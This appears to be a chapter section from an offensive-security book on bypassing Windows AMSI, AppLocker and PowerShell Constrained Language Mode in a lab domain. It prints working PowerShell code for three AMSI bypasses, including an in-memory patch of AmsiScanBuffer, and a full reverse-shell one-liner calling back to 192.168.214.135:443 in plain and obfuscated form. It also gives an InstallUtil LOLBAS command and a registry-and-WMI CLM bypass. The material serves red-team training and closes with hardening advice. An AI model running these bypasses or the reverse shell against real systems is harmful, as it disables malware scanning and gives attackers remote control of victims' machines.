In this section, we will discuss some of the built-in capabilities in Windows that can limit attacker’s actions on the compromised machine. AMSI, AppLocker, and PowerShell CLM can be bypassed in different ways, but considering them as defense in depth is a good decision. As usual, we need to know the limitations and cover bypasses where it is possible.
Antimalware Scan Interface
Let’s first discuss what Antimalware Scan Interface (AMSI) is. Microsoft developed it to provide a set of API calls for applications, including any third-party applications, to perform a signature-based scan of the content. Windows Defender uses it to scan PowerShell scripts, .NET, VBA macros, Windows Script Host (WSH), VBScript, and JavaScript to detect common malware. The important thing about AMSI is that you do not need to deploy it; it has been there since Windows 10.
In plain words, the AMSI algorithm works as follows:
amsi.dll
will be loaded into the process memory space; for example, PowerShell and AmsiInitialize
will be called.
- Then,
AmsiOpenSession
is called, which opens a session for a scan.
- The script content will be scanned before the execution invoking one of the APIs is called –
AmsiScanBuffer
or AmsiScanString
.
- If the content is clear from known malicious signatures, Microsoft Defender will return
1
as the result and the script will be executed.
To confirm this AMSI behavior, we can use Process Hacker[1] or API monitor[2]. These open source tools allow us to see loaded in-process modules, get information about them, and a lot of other information. In the following screenshot, we can see the loaded amsi.dll
and a list of exported functions:
Figure 2.1 – Loaded amsi.dll and exported functions
One important caveat from the Microsoft documentation is as follows – “But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that is the point at which you invoke the AMSI APIs.” A quick test to prove this statement is as follows:
Figure 2.2 – Detection and concatenation
It looks trivial. We can split the string first and then bypass AMSI using concatenation, but in more complex code this approach will require much more effort. There are a few strategies that were used by researchers to develop reliable bypasses – encoding/obfuscation, hooking, memory patching, forcing an error, registry key modification, and DLL hijacking. You can find two great compiled lists of bypasses and credits to original research created by S3cur3Th1sSh1t[3] and Pentest Laboratories[4]. Some of the bypasses look like a one-liner, but I highly encourage you to dive deeper and review them, read the original research, and follow the thought process. It’s also worth mentioning that not every bypass will be successful, as Microsoft tries to patch them as well. The chances are not great that the good old base64-encoded one-liners will do the trick. The best way to ensure that your bypass will work in the target environment is to precisely identify the victim’s OS version, recreate it in your lab environment, and test, test, test.
Note
For some quick wins, there is a great free website developed by Flangvik (https://amsi.fail/), where you can generate various PowerShell snippets to disable or break AMSI. Another helpful tool is Invoke-Obfuscation[5], written by Daniel Bohannon. This tool has different modes. For me, AST mode was the one that provided reliable bypasses most of the time. The idea is that the script will be obfuscated in such a way that it breaks the AST parsing algorithm in AMSI.
We will try to bypass AMSI using three different techniques: error forcing, obfuscation, and memory patching. As mentioned previously, I will use the SRV01 machine:
Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl
PSComputerName : CASTELROCK
Caption : Microsoft Windows Server 2019 Datacenter Evaluation
Version : 10.0.17763
Way 1 – Error forcing
Let’s first look at error-forcing code and a bit of split/concatenate fantasy:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
The result of running the preceding commands is shown in the following screenshot:
Figure 2.3 – Error forcing
Way 2 – Obfuscation
For AST obfuscation, let’s try to get reverse shell callback using PowerShellTcpOneLine.ps1
from the Nishang framework[6] and the previously mentioned Invoke-Obfuscation tool. We will set up a listener on port 443 with powercat[7] on another Windows box. Here is the original reverse shell code:
$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
When we try to run it, AMSI catches us:
Figure 2.4 – AMSI blocks original reverse shell
Let’s run the Invoke-Obfuscation tool, choosing AST obfuscation, and providing the path to our original reverse shell. After obfuscation, the code looked like this:
Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.214.135',443));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
The result obtained by running the preceding commands is as follows:
Figure 2.5 – Obfuscated reverse shell callback
Way 3 – Memory patch
There are a few ways we can manipulate AMSI in memory to achieve the bypass. The key reasoning behind this is that we are in full control of the process where amsi.dll
will be loaded. One of the examples is to force AmsiScanBuffer
to return AMSI_RESULT_CLEAN
. The general idea is to import API calls and then return a specific value to the AmsiScanBuffer()
call: 0x80070057
. The original bypass is detected by AMSI now, so we can manipulate with assembly instructions by using a double add
operand and successfully bypass the control. The code for this is as follows:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0: 31 c0 xor eax,eax
#2: 05 78 01 19 7f add eax,0x7f190178
#7: 05 df fe ed 00 add eax,0xedfedf
#c: c3 ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
The result obtained by running the preceding commands is as follows:
Figure 2.6 – Successful AMSI disarm using memory patching
Also, as an attacker, we cannot ignore the fact that some defensive mechanisms can be abused as well as bypassed. A great example was published by netbiosX[8], which stated that AMSI can be used to achieve persistence on the compromised host. Using previous research and their coding skills, a fake AMSI provider was developed and registered on the compromised host. Using a special keyword, we can initiate a callback home from our backdoor.
All the techniques mentioned here will leave some sort of trace on the victim’s machine. Moreover, even successful bypasses can still be caught by defenders. Excellent blog posts by Pentest Laboratories[9] and F-Secure[10] show how to create detections and share excellent ready-to-use recipes.
In the next section, we are going to discuss two security controls that are quite often deployed in corporate environments.
AppLocker and PowerShell CLM
AppLocker was added by Microsoft in Windows 7 as a successor to the older Software Restriction Policies (SRP). It was supposed to be a comprehensive application white-listing solution. With this feature, you can limit not only applications, but also scripts, batches, DLLs, and more. There are a few ways that a limit can be applied: by Name, Path, Publisher, or Hash. As stated by Microsoft, AppLocker is a security feature, not a boundary. Nowadays, the recommendation is to enforce Windows Defender Application Control (WDAC) as restrictively as possible and then use AppLocker to fine-tune the restrictions. However, in complex enterprise environments, it is still common to see AppLocker alone as it is easier to deploy and administrate.
To understand in more detail how AppLocker is working, I recommend you read four parts of Tyraniddo’s blog[11] about this feature. He starts the journey with the AppLocker setup and overview. In part 2, the author reveals how the process creation is blocked by the operating system’s kernel, followed by a clear example. Part 3 is devoted to rule processing, covering access tokens and access checks. Some basic understanding of security descriptors and tokens will not hurt the reader. The final part has a full focus on DLL blocking.
Now that we know what AppLocker is, why do we need anything on top? What is PowerShell CLM, and how does it relate to AppLocker? In short, we can limit PowerShell sensitive language capabilities to the users by enabling CLM. Some examples of these sensitive capabilities are Windows API invocation, creating arbitrary types, and dot sourcing[12].
CLM can be enforced via environment variables or by setting it through language mode. However, these methods are not reliable and can be bypassed with almost no effort from the attacker. But with system-wide application control solutions, it can be used. The idea is that PowerShell will detect when the AppLocker policy is being enforced and will run only in CLM.
How robust are these protections?
We will deploy it in our sevenkingdoms.local
lab domain. I advise you to take a snapshot before any change in the lab so we can quickly revert to the initial state if required. We will create an AppLocker group policy on DC01 and enforce it on the SRV01 server. If you have never deployed AppLocker, there is a friendly guide available[13]. The rule is straightforward – action, user, condition, and exceptions if required. By following the previously mentioned guide[13], we will create default rules and restrictions for users to run cmd.exe
. One important caveat – if you are in the Administrators
group, by default, AppLocker is not applied to your account. To check your current ruleset, we can use the following command:
Get-AppLockerPolicy -Effective | Select-Object RuleCollections -ExpandProperty RuleCollections
The new Deny_CMD
rule can be seen in the following screenshot:
Figure 2.7 – Deny rule in AppLocker
Moreover, as we enforced rules for scripts as well, PowerShell went down in CLM. It is easy to check using the following command:
Figure 2.8 – PowerShell CLM in action
The robustness of these security features depends on the quality of the rules we are implementing. In AppLocker, we have Publisher, File Hash, and Path conditions. Let’s briefly discuss all of them and show some possible bypasses.
Path restrictions can be bypassed by evaluating trusted paths and copying our binary there; for example, there are plenty of subfolders inside C:\Windows
, where the normal user can copy files. The File Hash deny rule can be bypassed by changing the binary with the known hash mentioned in the rule. Let’s bypass the first two conditions combined and execute nc64.exe
on the host. I created the rule to block nc64.exe
by its hash. We will first copy nc64.exe
to the C:\Windows\System32\spool\drivers\color\
and then bypass the File Hash rule by changing the File Hash by adding an extra A
at the end of the file. The result of the bypass is as follows:
Figure 2.9 – Path and hash rule bypass for nc.exe
The Publisher condition is much more difficult to bypass. The reason is that the application’s publisher signature and extended attributes will be checked. We cannot use self-signed certificates to bypass it, but we can abuse legitimate signed binaries, which have the extended functionality we need. There is a whole project with a list of such binaries at https://lolbas-project.github.io/. There are two well-illustrated blog posts about common LOLBAS abuse to bypass AppLocker using InstallUtil[14] and MSBuild[15]. In brief, we will use MSBuild.exe
to compile and run our malicious code stored in an XML file; for example, with Windows APIs we can allocate memory, and copy and run our shellcode. Another method is to use InstallUtil to run our executable if it is located on the victim’s box:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\my.exe"
But what if cmd.exe
is locked down? Not a big deal! You create shortcuts of the required binaries, such as InstallUtil and csc, then manually change the target field value so that it stores the required command line to execute. It is still reliably working until the LOLBAS binaries are not blocked. The entire project with the AppLocker bypasses list is available on GitHub[16]. By evaluating them, we can assess how robust our rules are.
Speaking about CLM bypass, there are different ways to achieve Full Language Mode, such as spawn PowerShell such that it downgrades to version 2 (rarely installed these days), use rundll32.exe
with PowerShlld.dll
[17], or use bypasses such as a wrapper over InstallUtil[18] and function return value patching[19]. The last three projects will require obfuscation to evade Microsoft Defender nowadays. To read more about the process of finding bypasses, I recommend going through XPN’s great research, “AppLocker and CLM Bypass via COM”[20]. But let me show you one of my favourite bypasses by sp00ks that I recently found[21]. The following code sets the environment registry value in the HKCU hive (you do not need to be an administrator for that), creates a PowerShell process using WMI, and then sets the value back:
$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp
The result obtained by running the preceding command is as follows:
Figure 2.10 – Example of CLM bypass
As we mentioned at the beginning of the section, the best way to harden application control is to deploy Windows Defender Application Control (WDAC) together with AppLocker. One of the most powerful collections of rules is called AaronLocker[22], which can be deployed together with WDAC in your environment via Group Policy[23]. It is recommended to start monitoring your rulesets in audit mode, gradually fine-tuning them.